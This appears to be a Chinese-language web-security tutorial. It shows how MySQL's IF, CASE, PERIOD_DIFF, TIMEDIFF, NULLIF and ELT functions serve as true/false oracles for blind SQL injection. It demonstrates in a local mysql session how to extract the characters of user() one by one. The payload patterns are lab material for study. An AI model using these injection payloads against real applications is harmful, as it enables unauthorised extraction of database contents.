0x00 基础数据

mysql> select user();
+---------------+
| user()         |
+---------------+
| root@localhost |
+---------------+
1 row in set

mysql> select * from test_table;
+----+-------+
| id | name |
+----+-------+
|  1 | bbb   |
|  2 | aaa   |
+----+-------+
2 rows in set

0x01 IF表达式

解释:  SELECT IF(表达式, 表达式成立时返回, 表达式不成立时返回)

0x01.1 IF表达式例子

mysql> select IF(1=1,1,0);
+-------------+
| IF(1=1,1,0) |
+-------------+
|           1 |
+-------------+
1 row in set (0.00 sec)

mysql> select IF(1=2,1,0);
+-------------+
| IF(1=2,1,0) |
+-------------+
|           0 |
+-------------+
1 row in set (0.00 sec)

0x02 CASE表达式

解释1: 
select case 表达式
when 判断条件 then 返回结果 
else 条件不成立时返回 end

解释2: 
case 后面紧跟要被作为判断的字段
when 后面跟判断条件
then 后面跟结果
else 相当于 default
end 是语句结束语

0x02.1 CASE表达式例子

mysql> select case 1
    -> when 1 then '成功'
    -> when 2 then '失败'
    -> else '其他' end;
----------------+
| 成功          |
+---------------+
1 row in set, 3 warnings (0.00 sec)

mysql> select case 2
    -> when 1 then '成功'
    -> when 2 then '失败'
    -> else '其他' end;
----------------+
| 失败          |
+---------------+
1 row in set, 3 warnings (0.00 sec)

mysql> select case 3
    -> when 1 then '成功'
    -> when 2 then '失败'
    -> else '其他' end;
----------------+
| 其他          |
+---------------+
1 row in set, 3 warnings (0.00 sec)

mysql> SELECT
    -> CASE
    -> WHEN 1 = 1
        -> THEN '真'
    -> ELSE '假'
    -> END;
+----------------------------------+
| 真                               |
+----------------------------------+
1 row in set
mysql> SELECT
    -> CASE
    -> WHEN 1 = 2
        -> THEN '真'
    -> ELSE '假'
    -> END;
+----------------------------------+
| 假                               |
+----------------------------------+
1 row in set

0x03 PERIOD_DIFF() 函数

PERIOD_DIFF(period1, period2)       返回两个时段之间的月份差值

0x03.1 例子

# user() 第一位数据转ascii
mysql> select ascii(substring(user(),1,1));
+------------------------+
| ascii(substring(user(),1,1)) |
+------------------------+
|                    114 |
+------------------------+
1 row in set

# user() 第二位数据转ascii
mysql> select ascii(substring(user(),2,1));
+------------------------+
| ascii(substring(user(),2,1)) |
+------------------------+
|                    111 |
+------------------------+
1 row in set

# 表示注入失败的时候
# 表示两个值相差1位
# ascii(substring(user(),1,1)) = 114
# 不为0就是表示True,那么页面就不会产生变化
mysql> select PERIOD_DIFF(ascii(substring(user(),1,1)), 113);
+----------------------------------------+
| PERIOD_DIFF(ascii(substring(user(),1,1)), 113) |
+----------------------------------------+
|                                      1 |
+----------------------------------------+
1 row in set
# 匹配失败的时候页面的数据会返回正常,不产生变化
mysql> SELECT * from test_table where id=1 and PERIOD_DIFF(ascii(substring(user(),1,1)), 113);
+----+-------+
| id | name |
+----+-------+
|  1 | bbb   |
+----+-------+
1 row in set

# 表示注入成功的时候
# 表示两个值相等
# ascii(substring(user(),1,1)) = 114
# 为0就是表示False
mysql> select PERIOD_DIFF(ascii(substring(user(),1,1)), 114);
+----------------------------------------+
| PERIOD_DIFF(ascii(substring(user(),1,1)), 114) |
+----------------------------------------+
|                                      0 |
+----------------------------------------+
1 row in set
# 匹配成功的时候,因为函数返回了0 0表示False,所以就不查询数据出来了
mysql> SELECT * from test_table where id=1 and PERIOD_DIFF(ascii(substring(user(),1,1)), 114);
Empty set

0x04 TIMEDIFF() 函数

TIMEDIFF(time1, time2)    计算时间差值

0x04.1 例子

# user() 第一位数据转ascii
mysql> select ascii(substring(user(),1,1));
+------------------------+
| ascii(substring(user(),1,1)) |
+------------------------+
|                    114 |
+------------------------+
1 row in set

# user() 第二位数据转ascii
mysql> select ascii(substring(user(),2,1));
+------------------------+
| ascii(substring(user(),2,1)) |
+------------------------+
|                    111 |
+------------------------+
1 row in set

# 表示注入失败的时候
# 表示两个值相差1位
# ascii(substring(user(),1,1)) = 114
# 不为0就是表示True,那么页面就不会产生变化
mysql> SELECT TIMEDIFF(ascii(substring(user(),1,1)), 113);
+-------------------------------------+
| TIMEDIFF(ascii(substring(user(),1,1)), 113) |
+-------------------------------------+
| 00:00:01                             |
+-------------------------------------+
1 row in set
# 匹配失败的时候页面的数据会返回正常,不产生变化
mysql> SELECT * from test_table where id=1 and TIMEDIFF(ascii(substring(user(),1,1)), 113);
+----+-------+
| id | name |
+----+-------+
|  1 | bbb   |
+----+-------+
1 row in set

# 表示注入成功的时候
# 表示两个值相等
# ascii(substring(user(),1,1)) = 114
# 为0就是表示False
mysql> SELECT TIMEDIFF(ascii(substring(user(),1,1)), 114);
+-------------------------------------+
| TIMEDIFF(ascii(substring(user(),1,1)), 114) |
+-------------------------------------+
| 00:00:00                             |
+-------------------------------------+
1 row in set
# 匹配成功的时候,因为函数返回了0 0表示False,所以就不查询数据出来了
mysql> SELECT * from test_table where id=1 and TIMEDIFF(ascii(substring(user(),1,1)), 114);
Empty set

0x05 NULLIF(expr1, expr2)

NULLIF(expr1, expr2)    比较两个字符串，如果字符串 expr1 与 expr2 相等 返回 NULL，否则返回 expr1

0x05.1 例子

# user() 第一位数据转ascii
mysql> select ascii(substring(user(),1,1));
+------------------------+
| ascii(substring(user(),1,1)) |
+------------------------+
|                    114 |
+------------------------+
1 row in set

# user() 第二位数据转ascii
mysql> select ascii(substring(user(),2,1));
+------------------------+
| ascii(substring(user(),2,1)) |
+------------------------+
|                    111 |
+------------------------+
1 row in set

# 表示注入失败的时候
# 匹配不相等的话返回的是 NULLIF 第一个参数的结果值
mysql> SELECT * from test_table where id=1 and NULLIF(ascii(substring(user(),1,1)),111);
+----+-------+
| id | name |
+----+-------+
|  1 | bbb   |
+----+-------+
1 row in set

# 表示注入成功的时候
# 匹配相等会返回 NULL 所以sql不会返回数据
mysql> SELECT * from test_table where id=1 and NULLIF(ascii(substring(user(),1,1)),114);
Empty set

# 获取到的数据转成十进制
mysql> select concat(char('114'),char('111'));
+---------------------------+
| concat(char('114'),char('111')) |
+---------------------------+
| ro                        |
+---------------------------+
1 row in set

0x06 ELT

0x06.1 例子

ELT(N,str1,str2,str3,...)
如果N = 1,则返回str1
如果N = 2,则返回str2,依此类推
如果N小于1或大于参数个数,则返回NULL
ELT是FIELD的补充

// 基础教学
// 为true时
mysql> select ELT('a'='a', 1);
+-----------------+
| ELT('a'='a', 1) |
+-----------------+
| 1               |
+-----------------+
1 row in set
// 为false时
mysql> select ELT('a'='b', 1);
+-----------------+
| ELT('a'='b', 1) |
+-----------------+
| NULL            |
+-----------------+
1 row in set

# user()数据
mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set

# 注注入 user() 第二位的数据
# 为true时
mysql> select ELT(substring(user(),2,1)='o', 1);
+-----------------------------------+
| ELT(substring(user(),2,1)='o', 1) |
+-----------------------------------+
| 1                                 |
+-----------------------------------+
1 row in set
# 为false时
mysql> select ELT(substring(user(),2,1)='a', 1);
+-----------------------------------+
| ELT(substring(user(),2,1)='a', 1) |
+-----------------------------------+
| NULL                              |
+-----------------------------------+
1 row in set

Web 安全-数据验证不当

MySQL 条件语句基本用法

0x00 基础数据

0x01 IF表达式

0x01.1 IF表达式例子

0x02 CASE表达式

0x02.1 CASE表达式例子

0x03 PERIOD_DIFF() 函数

0x03.1 例子

0x04 TIMEDIFF() 函数

0x04.1 例子

0x05 NULLIF(expr1, expr2)

0x05.1 例子

0x06 ELT

0x06.1 例子